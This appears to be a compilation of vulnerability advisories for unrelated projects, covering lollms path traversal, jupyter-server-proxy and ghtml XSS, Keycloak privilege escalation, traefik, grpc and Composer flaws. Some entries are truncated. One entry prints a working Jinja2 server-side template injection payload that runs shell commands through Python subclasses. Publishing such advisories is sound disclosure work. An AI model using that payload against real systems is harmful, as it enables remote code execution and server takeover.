parisneo/lollms version 9.5 is vulnerable to Local File Inclusion (LFI) attacks due to insufficient path sanitization. The `sanitize_path_from_endpoint` function fails to properly sanitize Windows-style paths (backward slash `\`), allowing attackers to perform directory traversal attacks on Windows systems. This vulnerability can be exploited through various routes, including `personalities` and `/del_preset`, to read or delete any file on the Windows filesystem, compromising the system's availability.

### Impact There is a reflected cross-site scripting (XSS) issue in `jupyter-server-proxy`[1]. The `/proxy` endpoint accepts a `host` path segment in the format `/proxy/<host>`. When this endpoint is called with an invalid `host` value, `jupyter-server-proxy` replies with a response that includes the value of `host`, without sanitization [2]. A third-party actor can leverage this by sending a phishing link with an invalid `host` value containing custom JavaScript to a user. When the user clicks this phishing link, the browser renders the response of `GET /proxy/<host>`, which runs the custom JavaScript contained in `host` set by the actor. As any arbitrary JavaScript can be run after the user clicks on a phishing link, this issue permits extensive access to the user's JupyterLab instance for an actor. This issue exists in the latest release of `jupyter-server-proxy`, currently `v4.1.2`. **Impacted versions:** `>=3.0.0,<=4.1.2` ### Patches The patches are included in `==4.2.0` and `=...

### Impact _What kind of vulnerability is it? Who is impacted?_ RCE via SSTI, as root, full takeover. ### Patches _Has the problem been patched? What versions should users upgrade to?_ It has not been patched. ### References _Are there any links users can visit to find out more?_ - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti ### POC Add the following to a document, upload and render it: ```jinja2 {% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }} whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }} uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }} {% endif %} ``` The index might be different, so to debug this first render a template with `...

Users with low privileges (just plain users in the realm) are able to utilize administrative functionalities within Keycloak admin interface. This issue presents a significant security risk as it allows unauthorized users to perform actions reserved for administrators, potentially leading to data breaches or system compromise. **Acknowledgements:** Special thanks to Maurizio Agazzini for reporting this issue and helping us improve our project.

### Impact There is a vulnerability in [Go managing various Is methods (IsPrivate, IsLoopback, etc) for IPv4-mapped IPv6 addresses](https://groups.google.com/g/golang-announce/c/XbxouI9gY7k/m/TuoGEhxIEwAJ). They didn't work as expected returning false for addresses which would return true in their traditional IPv4 forms. ### References - [CVE-2024-24790](https://www.cve.org/CVERecord?id=CVE-2024-24790) ### Patches - https://github.com/traefik/traefik/releases/tag/v2.11.4 - https://github.com/traefik/traefik/releases/tag/v3.0.2 ### Workarounds No workaround. ### For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).

### Impact There are two separate code paths in which memory can be allocated per message in excess of the `grpc.max_receive_message_length` channel option: 1. If an incoming message has a size on the wire greater than the configured limit, the entire message is buffered before it is discarded. 2. If an incoming message has a size within the limit on the wire but decompresses to a size greater than the limit, the entire message is decompressed into memory, and on the server is not discarded. ### Patches This has been patched in versions 1.10.9, 1.9.15, and 1.8.22

## Summary It is possible to introduce user-controlled JavaScript code and trigger a Cross-Site Scripting (XSS) vulnerability in some cases. ## Actions Taken - Updated the documentation to clarify that while `ghtml` escapes characters with special meaning in HTML, it does not provide comprehensive protection against all types of XSS attacks in every scenario. **_This aligns with the approach taken by other template engines. Developers should be cautious and take additional measures to sanitize user input and prevent potential vulnerabilities._** More reading: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html - The backtick character (`) is now also escaped to prevent the creation of strings in most cases where a malicious actor somehow gains the ability to write JavaScript. This does not provide comprehensive protection either.

### Impact The `status`, `reinstall` and `remove` commands with packages installed from source via git containing specially crafted branch names in the repository can be used to execute code. ### Patches 2.2.24 for 2.2 LTS or 2.7.7 for mainline ### Workarounds Avoid installing dependencies via git by using `--prefer-dist` or the `preferred-install: dist` config setting.
